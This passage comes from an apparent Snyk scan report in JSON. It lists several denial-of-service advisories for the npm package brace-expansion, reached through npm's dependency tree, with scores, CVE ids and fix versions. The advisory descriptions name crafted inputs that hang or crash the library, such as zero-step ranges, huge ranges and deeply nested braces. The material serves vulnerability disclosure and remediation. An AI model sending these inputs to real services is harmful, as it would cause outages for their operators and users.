"@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": 